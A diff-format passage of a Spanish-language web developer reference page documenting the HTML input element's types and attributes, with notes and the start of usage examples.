+    <li><code>value</code>: <code>min</code> + (<code>max -</code> <code>min</code>) / 2, o <code>min</code> si <code>max</code> es menor que <code>min</code></li>
+    <li><code>step</code>: 1</li>
+   </ul>
+  </li>
+  <li><code>reset</code>: Botón que restaura los contenidos de un formulario a sus valores predeterminados.</li>
+  <li><code>search</code>: {{HTMLVersionInline("5")}} Cuadro de texto de línea simple para introducir textos de búsqueda. Los saltos de línea son eliminados automáticamente del valor introducido.</li>
+  <li><code>submit</code>: Botón que envía el formulario.</li>
+  <li><code>tel</code>: {{HTMLVersionInline("5")}} Control para introducir un número telefónico. Los saltos de línea son eliminados automáticamente del valor introducido, pero no hay otra sintaxis forzada. Se pueden usar atributos como <strong>pattern</strong> y <strong>maxlength</strong> para restringir los valores introducidos en este control. Las pseudo-clases CSS {{cssxref(":valid")}} y {{cssxref(":invalid")}} son aplicadas segun corresponda.</li>
+  <li><code>text</code>: Campo de texto de línea simple. Los saltos de línea son eliminados automáticamente del valor introducido.</li>
+  <li><code>time</code>: {{HTMLVersionInline("5")}} Control para introducir un valor de tiempo sin zona horaria específica.</li>
+  <li><code>url</code>: {{HTMLVersionInline("5")}} Campo para editar una URL. El valor introducido se valida para que contenga una cadena vacía o una ruta URL absoluta antes de enviarse. Los saltos de línea y espacios en blanco al principio o al final del valor son eliminados automáticamente. Se pueden usar atributos como <strong>pattern</strong> y <strong>maxlength</strong> para restringir los valores introducidos en el control. Las pseudo-clases {{cssxref(":valid")}} y {{cssxref(":invalid")}} son aplicadas segun corresponda.</li>
+  <li><code>week</code>: {{HTMLVersionInline("5")}} Control para introducir una fecha que consiste en número de semana del año y número de semana sin zona horaria específica.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("accept")}}</dt>
+ <dd>Si el valor del atributo <strong>type</strong> es <code>file</code>, este atributo indica los tipos de archivo que el servidor acepta, de otra manera será ignorado. El valor debe ser una lista de tipos de contenido únicos, separados por coma:
+ <ul>
+  <li>Una extensión de archivo, comenzando por el caracter STOP (U+002E). (Ejemplos: ".jpg,.png,.doc")</li>
+  <li>Un tipo MIME válido sin extensiones</li>
+  <li><code>audio/*</code>, que representa archivos de audio {{HTMLVersionInline("5")}}</li>
+  <li><code>video/*</code>, que representa archivos de vídeo {{HTMLVersionInline("5")}}</li>
+  <li><code>image/*</code>, que representa archivos de imagen {{HTMLVersionInline("5")}}</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("accesskey")}} sólo {{HTMLVersionInline(4)}}, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>Un caracter que el usuario puede presionar para establecer el cursor en el control. Este atributo es global en HTML5.</dd>
+ <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt>
+ <dd>Especifica una "pista de acción" usada para determinar cómo etiquetar la tecla "enter" en dispositivos móviles con teclados virtuales. Los valores soportados son <code>go</code>, <code>done</code>, <code>next</code>, <code>search</code>, y <code>send</code>. Esto queda automáticamente mapeado al texto apropiado y no son sensibles al uso de mayúsculas.</dd>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>Atributo no estándar usado por <a href="https://developers.google.com/web/updates/2015/04/autocapitalize">Chrome</a> e iOS Safari Mobile, el cual controla si se deben cambiar los textos a mayúsculas automáticamente mientras son introducidos/editados por el usuario, y la forma en que esto se hará. Los valores no obsoletos están disponibles en iOS5 y superior. Los valores posibles son:
+ <ul>
+  <li><code>none</code>: Deshabilita completamente las mayúsculas automáticas.</li>
+  <li><code>sentences</code>: Cambia automáticamente a mayúscula la primera letra de la sentencia.</li>
+  <li><code>words</code>: Cambia automáticamente a mayúscula la primera letra de cada palabra.</li>
+  <li><code>characters</code>: Cambia automáticamente a mayúscula todos los caracteres.</li>
+  <li><code>on</code>: {{deprecated_inline}} Obsoleto desde iOS 5.</li>
+  <li><code>off</code>: {{deprecated_inline}} Obsoleto desde iOS 5.</li>
+ </ul>
+ <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/Attributes.html#//apple_ref/doc/uid/TP40008058-autocapitalize">Documentation sobre <code>autocapitalize</code> en la Referencia HTML de Safari</a></dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo indica si el valor del control puede ser completado automáticamente por el navegador.</dd>
+ <dd>Los valores posibles son:
+ <ul>
+  <li><code>off</code>: El usuario debe explícitamente introducir un valor en este campo para cualquier uso, o el documento provee su propio método de auto-completado. El navegador no completa automáticamente lo introducido.</li>
+  <li><code>on</code>: Se permite al navegador completar automáticamente el valor basado en los valores que se han introducido previamente. Sin embargo, <code>on</code> no provee mayor información sobre qué clase de datos podría esperar el usuario introducir.</li>
+  <li><code>name</code>: Nombre completo.</li>
+  <li><code>honorific-prefix</code>: Prefixo o título (Ejemplos: "Sr.", "Sra.", "Dr.", "Srita.").</li>
+  <li><code>given-name</code>: Nombre de pila.</li>
+  <li><code>additional-name</code>: Segundo nombre.</li>
+  <li><code>family-name</code>: Apellido.</li>
+  <li><code>honorific-suffix</code>: Sufijo (Ejemplos: "Hijo", "Señor", "II").</li>
+  <li><code>nickname</code>: Apodo.</li>
+  <li><code>email</code>: Correo electrónico.</li>
+  <li><code>username</code>: Nombre de usuario.</li>
+  <li><code>new-password</code>: Nueva contraseña (por ejemplo, al crear una cuenta o cambiar la contraseña).</li>
+  <li><code>current-password</code>: Contraseña actual.</li>
+  <li><code>organization-title</code>: Título de organización (Ejemplos: "Ingeniero de Software", "Vicepresidente", "Director General Adjunto").</li>
+  <li><code>organization</code>: Organización.</li>
+  <li><code>street-address</code>: Calle (en dirección).</li>
+  <li><code>address-line1</code>, <code>address-line2</code>, <code>address-line3</code>, <code>address-level4</code>, <code>address-level3</code>, <code>address-level2</code>, <code>address-level1</code>: Valores para dirección.</li>
+  <li><code>country</code>: País.</li>
+  <li><code>country-name</code>: Nombre del país.</li>
+  <li><code>postal-code</code>: Código postal.</li>
+  <li><code>cc-name</code>: Nombre completo en un instrumento de pago.</li>
+  <li><code>cc-given-name</code>: Nombre de pila en un instrumento de pago.</li>
+  <li><code>cc-additional-name</code>: Segundo nombre en un instrumento de pago.</li>
+  <li><code>cc-family-name</code>: Apellido en un instrumento de pago.</li>
+  <li><code>cc-number</code>: Código de identificación de un instrumento de pago(por ejemplo, el número de tarjeta de crédito).</li>
+  <li><code>cc-exp:</code> Fecha de expiración de un instrumento de pago.</li>
+  <li><code>cc-exp-month</code>: Mes de expiración en un instrumento de pago.</li>
+  <li><code>cc-exp-year</code>: Año de expiración en un instrumento de pago.</li>
+  <li><code>cc-csc</code>: Código de seguridad en un instrumento de pago.</li>
+  <li><code>cc-type</code>: Tipo de instrumento de pago (por ejemplo, Visa).</li>
+  <li><code>transaction-currency</code>: Tipo de moneda de la transacción.</li>
+  <li><code>transaction-amount</code>: Monto de la transacción.</li>
+  <li><code>language</code>: Idioma preferido, etiqueta BCP 47 válida.</li>
+  <li><code>bday</code>: Fecha de cumpleaños.</li>
+  <li><code>bday-day</code>: Día de cumpleaños.</li>
+  <li><code>bday-month</code>: Mes de cumpleaños.</li>
+  <li><code>bday-year</code>: Año de cumpleaños.</li>
+  <li><code>sex</code>: Sexo (ejemplos, Femenino, Female, Fa'afafine), texto libre, sin líneas nuevas.</li>
+  <li><code>tel</code>: Teléfono.</li>
+  <li><code>url</code>: Dirección web correspondiente a la compañía, persona, dirección o información de contacto en los demás campos asociados a éste.</li>
+  <li><code>photo</code>: Fotografía, ícono u otra imagen correspondiente a la compañía, persona, dirección o información de contacto en los otros campos asociados a éste.</li>
+ </ul>
+
+ <p>Véase el <a href="https://html.spec.whatwg.org/multipage/forms.html#autofill">Estándar WHATWG</a> para információn más detallada.</p>
+
+ <p>Si el atributo <strong>autocomplete</strong> no está especificado en un elemento input, el navegador usa el atributo <strong>autocomplete</strong> del formulario al que pertenece el elemento <code>&lt;input&gt;</code>, es decir, el elemento <code>form</code> del cual es descendiente el elemento <code>&lt;input&gt;</code>, o aquél cuyo <strong>id</strong> está especificado en el atributo <strong>form</strong> del elemento input. Para mayor información, véase el atributo {{htmlattrxref("autocomplete", "form")}} en {{HTMLElement("form")}}.</p>
+
+ <p>El atributo <strong>autocomplete</strong> también controla si Firefox, a diferencia de otros navegadores, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persistirá el estado deshabilitado dinámico, y (si aplica) la selección dinámica</a> de un <code>&lt;input&gt;</code> a través de las cargas de la página. La característica de persistencia está habilitada de forma predeterminada. Estableciendo el valor de <strong>autocomplete</strong> como <code>off</code> se deshabilita esta característica. Esto funciona aún cuando el atributo <strong>autocomplete</strong> no se aplicaría normalmente al <code>&lt;input&gt;</code> en virtud de su atributo <strong>type</strong>. Véase {{bug(654072)}}.</p>
+
+ <p>Para navegadores más modernos (incluyendo Firefox 38+, Google Chrome 34+, IE 11+), establecer el atributo <strong>autocomplete</strong> <em>no</em> previene que el administrador de contraseñas del navegador le pregunte al usuario si desea guardar la información de inicio de sesión (usuario y contraseña), ni tampoco, de permitirlo el usuario, que se autocompleten estos campos la próxima vez que el usuario visite la página. Véase <a href="/es/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#The_autocomplete_attribute_and_login_fields">El atributo autocomplete y campos de inicio de sesión</a>.</p>
+ </dd>
+ <dt>{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</dt>
+ <dd>Es un atributo no estándar, soportado por Safari, que es usado para controlar si la autocorrección debe estar habilitada cuando el usuario está introduciendo/editando el texto de un <code>&lt;input&gt;</code>. Los valores posibles de este atributo son:
+ <ul>
+  <li><code>on</code>: Habilita la autocorrección</li>
+  <li><code>off</code>: Deshabilita la autocorrección</li>
+ </ul>
+ <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/Attributes.html#//apple_ref/doc/uid/TP40008058-autocorrect">Documentación de <code>autocorrect</code> en la Referencia HTML de Safari</a></dd>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo Booleano permite especificar que un control de formulario tenga el cursor cuando la página se carga, a menos que el usuario lo reemplace, por ejemplo, escribiendo en un control diferente. Solo un elemento de formulario en un mismo documento puede tener el atributo <strong>autofocus</strong>, el cual es Booleano. No puede ser aplicado si el atributo <strong>type</strong> tiene valor <code>hidden</code> (es decir, no se puede establecer automáticamente el cursor en un control oculto). Nótese que el cursor se podría establecer en el control antes de disparar el evento <a href="/es/docs/Web/Events/DOMContentLoaded"><code>DOMContentLoaded</code>.</a></dd>
+ <dt>{{htmlattrdef("capture")}}</dt>
+ <dd>
+ <p>Cuando el valor del atributo <strong>type</strong> es <code>file</code>, la presencia de este atributo Booleano indica que se le dará preferencia a la captura del medio directamente del ambiente del dispositivo, usando algún <a href="https://www.w3.org/TR/html-media-capture/#dfn-media-capture-mechanism">mecanismo de captura de medios</a>.</p>
+ </dd>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>
+ <p>Cuando el valor del atributo <strong>type</strong> es <code>radio</code> o <code>checkbox</code>, la presencia de este atributo Booleano indica que el control está seleccionado de forma predeterminada. De lo contrario, será ignorado.</p>
+
+ <p>En Firefox, a diferencia de otros navegadores, de forma predeterminada, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">se persiste el estado de selección dinámico</a> en un <code>&lt;input&gt;</code> a través de las cargas de la página. Para controlar esta característica se usa el atributo {{htmlattrxref("autocomplete","input")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>Este atributo Booleano indica que el control no está disponible para interacción. En particular, el evento <code>click</code> <a class="external" href="https://html.spec.whatwg.org/multipage/forms.html#enabling-and-disabling-form-controls:-the-disabled-attribute">no será invocado</a> en controles deshabilitados. De igual forma, el valor de un control deshabilitado no es enviado con el formulario.</p>
+
+ <p>En Firefox, a diferencia de otros navegadores, de forma predeterminada, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">se persiste el estado de selección dinámico</a> en un <code>&lt;input&gt;</code> a través de las cargas de la página. Para controlar esta característica se usa el atributo {{htmlattrxref("autocomplete","input")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>El elemento form al que está asociado el elemento (su <em>formulario propietario</em>). El valor del atributo debe ser el <strong>id</strong> de un elemento {{HTMLElement("form")}} en el mismo documento. Si el atributo no es especificado, este elemento <code>&lt;input&gt;</code> deberá ser descendiente de un elemento {{HTMLElement("form")}}. Este atributo permite poner elementos <code>&lt;input&gt;</code> en cualquier parte dentro de un documento, no solamente como descendientes de su formulario. Un input puede ser asociado sólo con un formulario.</dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>El URI de un programa que procesa la información enviada por el elemento input, cuando es un botón de tipo <code>submit</code> o <code>image</code>. Si se especifica, reemplaza al atributo {{htmlattrxref("action","form")}} del formulario al que pertenece el elemento.</dd>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si el elemento es de tipo <code>submit</code> o <code>image</code>, este atributo especifica el tipo de contenido que es usado para enviar el formulario al servidor. Los valores posibles son:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: El valor predeterminado si el atributo no es especificado.</li>
+  <li><code>multipart/form-data</code>: Se usa este valor cuando se tiene un elemento <code>&lt;input&gt;</code> con atributo {{htmlattrxref("type","input")}} de valor <code>file</code>.</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>Si este atributo está especificado, reemplaza al atributo {{htmlattrxref("enctype","form")}} del formulario al que pertenece el elemento.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si el elemento input es un botón de tipo <code>submit</code> o <code>image</code>, este atributo especifica el método HTTP que el navegador usará para enviar el formulario. Los valores posibles son:
+ <ul>
+  <li><code>post</code>: Los datos del formulario son incluidos en el cuerpo del formulario, y enviados al servidor.</li>
+  <li><code>get</code>: Los datos del formulario son añadidos al URI del <strong>form</strong> con un símbolo '?' como separador, y el URI resultante es enviado al servidor. Se usa este método cuando el formulario no tiene efectos secundarios y contiene solamente caracteres ASCII.</li>
+ </ul>
+
+ <p>Si este atributo está especificado, reemplaza al atributo {{htmlattrxref("method","form")}} del formulario al que pertenece el elemento.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si el elemento input es de tipo <code>submit</code> o <code>image</code>, este atributo Booleano especifica que el formulario no será validado cuando se envíe. Si este atributo está especificado, reemplaza al atributo {{htmlattrxref("novalidate","form")}} del formulario al que pertenece el elemento.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si el elemento input es de tipo <code>submit</code> o <code>image</code>, este atributo es el nombre o palabra clave que indica dónde mostrar la respuesta que se recibe después de enviar el formulario. Este es el nombre, o palabra clave, de un <em>contexto de navegación</em> (por ejemplo, pestaña, ventana o frame incrustado). Si este atributo está especificado, reemplaza al atributo {{htmlattrxref("target", "form")}} del formulario al que pertenece el elemento. Las siguientes palabras clave tienen significado especial:
+ <ul>
+  <li>_<code>self</code>: Carga la respuesta en el mismo contexto de navegación actual. Este valor es el predeterminado cuando no se especifica el atributo.</li>
+  <li><code>_blank</code>: Carga la respuesta en un contexto de navegación nuevo.</li>
+  <li><code>_parent</code>: Carga la respuesta en el contexto de navegación padre del actual. Si no hay contexto padre, se comporta de la misma forma que <code>_self</code>.</li>
+  <li><code>_top</code>: Carga la respuesta en el contexto de navegación principal (es decir, el contexto que es ancestro del actual y que no tenga padre). Si no hay contexto padre, se comporta de la misma forma que <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("height")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si el valor del atributo <strong>type</strong> es <code>image</code>, este atributo define la altura de la imagen mostrada para el botón.</dd>
+ <dt>{{htmlattrdef("incremental")}} {{non-standard_inline}}</dt>
+ <dd>Es un atributo no estándar, soportado por WebKit (Safari) y Blink (Chrome), que solo aplica cuando el atributo <strong>type</strong> es <code>search</code>. Si el atributo está presente, sin importar su valor, el <code>&lt;input&gt;</code> dispara eventos <a href="/en-US/docs/Web/Events/search"><code>search</code></a> conforme el usuario edita el valor. El evento solo es disparado después de que un tiempo definido en implementación haya pasado desde la última vez que se presionó una tecla. Si el atributo está ausente, el evento <a href="/en-US/docs/Web/Events/search"><code>search</code></a> solo se disparará cuando el usuario explícitamente inicie una búsqueda (por ejemplo, presionando la tecla Enter dentro del control). <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/Attributes.html#//apple_ref/doc/uid/TP40008058-incremental"> Documentación de <code>incremental en la Referencia HTML de Safari</code></a></dd>
+ <dt>{{htmlattrdef("inputmode")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Una pista para el navegador sobre qué teclado mostrar. Este atributo aplica cuando el valor del atributo <strong>type</strong> es text, password, email, o url. Los valores posibles son:
+ <ul>
+  <li><code>verbatim</code>: Alfanumérico, sin contenido con significado, como nombres de usuario o contraseñas.</li>
+  <li><code>latin</code>: Escritura en caracteres de latín, en el lenguaje de elección del usuario, con ayuda de escritura, como predicción de texto. Para comunicación humano-computadora, como en cuadros de búsqueda.</li>
+  <li><code>latin-name</code>: Como <em>latin</em>, pero con nombres de personas.</li>
+  <li><code>latin-prose</code>: Como <em>latin</em>, pero con ayuda de escritura más agresiva. Para comunicación humano-humano, como mensajería instantánea o correo electrónico.</li>
+  <li><code>full-width-latin</code>: Como <em>latin-prose</em>, pero para idiomas secundarios del usuario.</li>
+  <li><code>kana</code>: Escritura en kana o romaji, típicamente escritura en hiragana, usando caracteres de anchura completa, con soporte para conversión a kanji. Usado para escritura en japonés.</li>
+  <li><code>katakana</code>: Escritura en katakana, usando caracteres de anchura completa, con soporte para conversión a kanji. Usado para escritura en japonés.</li>
+  <li><code>numeric</code>: Escritura en caracteres numéricos, incluyendo teclas para los dígitos de 0 a 9, el separador de miles segun las preferencias del usuario, y el caracter para indicar números negativos. Destinado a códigos numéricos, por ejemplo, números de tarjeta de crédito. Para valores numéricos reales, es preferible usar &lt;input type="number"&gt; en lugar de este atributo.</li>
+  <li><code>tel</code>: Escritura de teléfonos, incluído las teclas de asterisco y gato. Es preferible el uso de &lt;input type="tel"&gt; en lugar de este atributo.</li>
+  <li><code>email</code>: Escritura de correo electrónico. Es preferible el uso de &lt;input type="email"&gt; en lugar de este atributo.</li>
+  <li><code>url</code>: Escritura de URL. Es preferible el uso de &lt;input type="url"&gt; en lugar de este atributo.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Identifica una lista de opciones predefinidas como sugerencias al usuario. El valor debe ser el <strong>id</strong> de un elemento {{HTMLElement("datalist")}} en el mismo documento. El navegador muestra solamente las opciones que son válidas para el elemento. Este atributo es ignorado cuando el atributo <strong>type</strong> tiene valor <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, o algun tipo de botón.</dd>
+ <dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>El valor máximo (numérico o fecha-hora) para este elemento, el cual no debe ser menor que su valor mínimo (atributo <strong>min</strong>).</dd>
+ <dt>{{htmlattrdef("maxlength")}}</dt>
+ <dd>
+ <p>Si el valor del atributo <strong>type</strong> es <code>text</code>, <code>email</code>, <code>search</code>, <code>password</code>, <code>tel</code>, o <code>url</code>, este atributo especifica el número máximo de caracteres (en puntos de código Unicode) que el usuario puede introducir. Para los otros tipos de control, es ignorado. Puede exceder el valor del atributo <strong>size</strong>. Si no se especifica, el usuario puede introducir una cantidad ilimitada de caracteres. Especificar un número negativo resulta en el comportamiento predeterminado (es decir, el usuario puede introducir una cantidad ilimitada de caracteres). La restricción es evaluada sólo cuando el valor del atributo ha sido modificado.</p>
+ </dd>
+ <dt>{{htmlattrdef("min")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>El valor mínimo (numérico o fecha-hora) para este elemento, el cual no debe ser mayor a su valor máximo (atributo <strong>max</strong>).</dd>
+ <dt>{{htmlattrdef("minlength")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si el valor del atributo <strong>type</strong> es <code>text</code>, <code>email</code>, <code>search</code>, <code>password</code>, <code>tel</code>, o <code>url</code>, este atributo especifica la longitud mínima de caracteres (en puntos de código Unicode) que el usuario puede introducir. Para los otros tipos de control, es ignorado.</dd>
+ <dt>{{htmlattrdef("multiple")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo Booleano indica si el usuario puede introducir más de un valor. Este atributo aplica cuando el atributo <strong>type</strong> es <code>email</code> o <code>file</code>, y en caso contrario es ignorado.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>El nombre del control, el cual es enviado con los datos del formulario.</dd>
+ <dt>{{htmlattrdef("pattern")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Una expresión regular contra la que el valor es evaluado. El patrón debe coincidir con el valor completo, no solo una parte. Se puede usar el atributo <strong>title</strong> para describir el patrón como ayuda al usuario. Este atributo aplica cuando el atributo <strong>type</strong> es <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, o <code>password</code>, y en caso contrario es ignorado. El lenguaje de expresión regular es el mismo que el algoritmo {{jsxref("RegExp")}} de JavaScript, con el parámetro <code>'u'</code> que permite tratar al patrón como una secuencia de código Unicode. El patrón no va rodeado por diagonales.</dd>
+ <dt>{{htmlattrdef("placeholder")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Una pista para el usuario sobre lo que puede introducir en el control. El texto no debe contener saltos de línea.
+ <div class="note"><strong>Nota:</strong> No se debe usar el atributo <code>placeholder</code> en lugar de un elemento {{HTMLElement("label")}}, pues sus propósitos son diferentes. El elemento {{HTMLElement("label")}} describe el rol del elemento en el formulario (es decir, indica qué tipo de información se espera), y el atributo <code>placeholder</code> es una pista sobre el formato que debe tener el contenido. Hay casos en los que el atributo <code>placeholder</code> no es visible para el usuario, por lo que el formulario debe ser comprensible para el usuario aunque este atributo no esté presente.</div>
+ </dd>
+ <dt>{{htmlattrdef("readonly")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo indica que el usuario no puede modificar el valor del control. El valor del atributo es irrelevante. De ser necesario el acceso lectura-escritura al valor, <em>no</em> se debe agregar el atributo "<strong>readonly</strong>". Es ignorado si el atributo <strong>type</strong> es <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, o de tipo botón (como <code>button</code> o <code>submit</code>).</dd>
+ <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Este atributo especifica que el usuario debe llenar el control antes de enviarlo al formulario. No puede ser usado cuando el atributo <strong>type</strong> es <code>hidden</code>, <code>image</code>, o de tipo botón (<code>submit</code>, <code>reset</code>, o <code>button</code>). Las pseudo-clases {{cssxref(":optional")}} y {{cssxref(":required")}} se aplicarán al campo según sea apropiado.</dd>
+ <dt>{{htmlattrdef("results")}} {{non-standard_inline}}</dt>
+ <dd>Este es un atributo no estándar, soportado por Safari, que sólo aplica cuando el atributo <strong>type</strong> es <code>search</code>. Es usado para controlar el máximo número de entradas que se deben mostrar en el listado nativo del <code>&lt;input&gt;</code> de búsquedas pasadas. Este valor debe ser un número entero no negativo.</dd>
+ <dt>{{htmlattrdef("selectionDirection")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>La dirección en la que ocurre la selección. Esto es "forward" (hacia adelante) si la selección fue hecha de izquierda a derecha en una escritura LTR o izquierda a derecha en una escritura RTL, o "backward" (hacia atrás) si la selección fue hecha de forma opuesta. Puede ser "none" si la dirección de selección es desconocida.</dd>
+ <dt>{{htmlattrdef("selectionEnd")}}</dt>
+ <dd>La separación dentro del contenido de texto del último caracter seleccionado. Si no hay selección, este valor indica la separación para el caracter que sigue a la posición actual del cursor (es decir, la posición que el siguiente caracter que se escriba ocupará).</dd>
+ <dt>{{htmlattrdef("selectionStart")}}</dt>
+ <dd>La separación dentro del contenido del primer caracter seleccionado. Si no hay selección, este valor indica la separación para el caracter que sigue a la posición actual del cursor (es decir, la posición que el siguiente caracter que se escriba ocupará).</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>El tamaño inicial del control. Este valor es en píxeles, a menos que el atributo <strong>type</strong> sea <code>text</code> o <code>password</code>, en cuyo caso será el número entero de caracteres. A partir de HTML5, este atributo aplica sólo cuando el atributo <strong>type</strong> es <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, o <code>password</code>, de otro modo es ignorado. Además, el tamaño debe ser mayor a cero. Si no se especifica un tamaño, se usa un valor predeterminado de 20. HTML5 simplemente establece que "el agente usuario debe asegurarse que al menos esa cantidad de caracteres sea visible", pero los caracteres pueden tener anchuras diferentes en ciertas fuentes. En algunos navegadores, una cadena con <em>x</em> caracteres no será completamente visible aunque su tamaño esté definido con un mínimo de <em>x</em>.</dd>
+ <dt>{{htmlattrdef("spellcheck")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si se establece este atributo con valor <code>true</code>, se está indicando que se debe revisar la ortografía y gramática del elemento. El valor <code>default</code> indica que el elemento va a actuar acorde al comportamiento predeterminado del navegador, posiblemente basado en el valor del atributo <code>spellcheck</code> de su elemento padre. El valor <code>false</code> indica que el elemento no debe ser revisado.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Si el atributo <strong>type</strong> es <code>image</code>, este atributo especifica el URI para la ubicación de la imagen a mostrar en el botón de envío gráfico. En caso contrario, es ignorado.</dd>
+ <dt>{{htmlattrdef("step")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Trabaja con los atributos <strong>min</strong> y <strong>max</strong>, para limitar el incremento de valores numéricos o de fecha-hora. Puede ser el valor <code>any</code> o un número positivo de punto flotante. Si no se establece este atributo como <code>any</code>, el control acepta solamente valores múltiplos del valor del atributo, mayores al mínimo.</dd>
+ <dt>{{htmlattrdef("tabindex")}} específico para el elemento en {{HTMLVersionInline(4)}}, global en {{HTMLVersionInline("5")}}</dt>
+ <dd>La posición del elemento en el orden de navegación por la tecla Tab dentro del documento.</dd>
+ <dt>{{htmlattrdef("usemap")}} solo para {{HTMLVersionInline(4)}}, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>El nombre de un elemento {{HTMLElement("map")}} usado como mapa de imagen.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>El valor inicial del control. Este atributo es opcional, excepto cuando el atributo <strong>type</strong> es <code>radio</code> o <code>checkbox</code>.<br>
+ Nótese que cuando se recarga la página, Gecko e IE <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=46845#c186">ignorarán el valor especificado en el código fuente HTML</a>, si el valor fue modificado antes de recargar.</dd>
+ <dt>{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</dt>
+ <dd>Este atributo Booleano indica si el selector usado cuando el atributo <strong>type</strong> es <code>file</code> debe permitir la selección de directorios solamente.</dd>
+ <dt>{{htmlattrdef("width")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Si el valor del atributo <strong>type</strong> es <code>image</code>, este atributo define la anchura de la imagen mostrada en el botón.</dd>
+ <dt>{{htmlattrdef("x-moz-errormessage")}} {{non-standard_inline}}</dt>
+ <dd>Esta extensión de Mozilla permite especificar el mensaje de error cuando un campo no es validado exitosamente.</dd>
+</dl>
+
+<h2 id="Notas">Notas</h2>
+
+<h3 id="Introducción_de_archivos">Introducción de archivos</h3>
+
+<div class="note">
+<p><strong>Nota:</strong> A partir de {{Gecko("2.0")}}, llamar al método <code>click()</code> en un elemento <code>&lt;input&gt;</code> de tipo "file" abre el selector de archivos y permite al usuario seleccionar archivos. Véase <a href="/es/docs/Using_files_from_web_applications">Utilizar ficheros desde aplicaciones web</a> para ejemplos y más detalles.</p>
+</div>
+
+<p>No se puede establecer el valor de un selector de archivos desde un script. Hacer algo como lo siguiente no tiene efecto alguno:</p>
+
+<pre class="brush: js notranslate">var e = getElementById("someFileInputElement");
+e.value = "foo";
+</pre>
+
+<h3 id="Mensajes_de_error">Mensajes de error</h3>
+
+<p>Para que Firefox presente un mensaje de error personalizado cuando la validación de un campo falla, se puede usar el atributo <code>x-moz-errormessage</code>:</p>
+
+<pre class="brush: html notranslate">&lt;input type="email" x-moz-errormessage="Por favor, especifique una dirección de correo válida."&gt;
+</pre>
+
+<p>Nótese, sin embargo, que esto no es estándar, y no tendrá efecto en otros navegadores.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h2 id="Ejemplo_1_Cuadro_de_texto_simple">Ejemplo 1: Cuadro de texto simple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Simple input box&lt;/p&gt;
+&lt;input type="text" value="Type here"&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example_1_Simple_input_box', '', '100', '', 'Web/HTML/Element/input') }}</p>
+
+<h2 id="Ejemplo_2_Escenario_de_uso_común">Ejemplo 2: Escenario de uso común</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;A common form that includes input tags&lt;/p&gt;
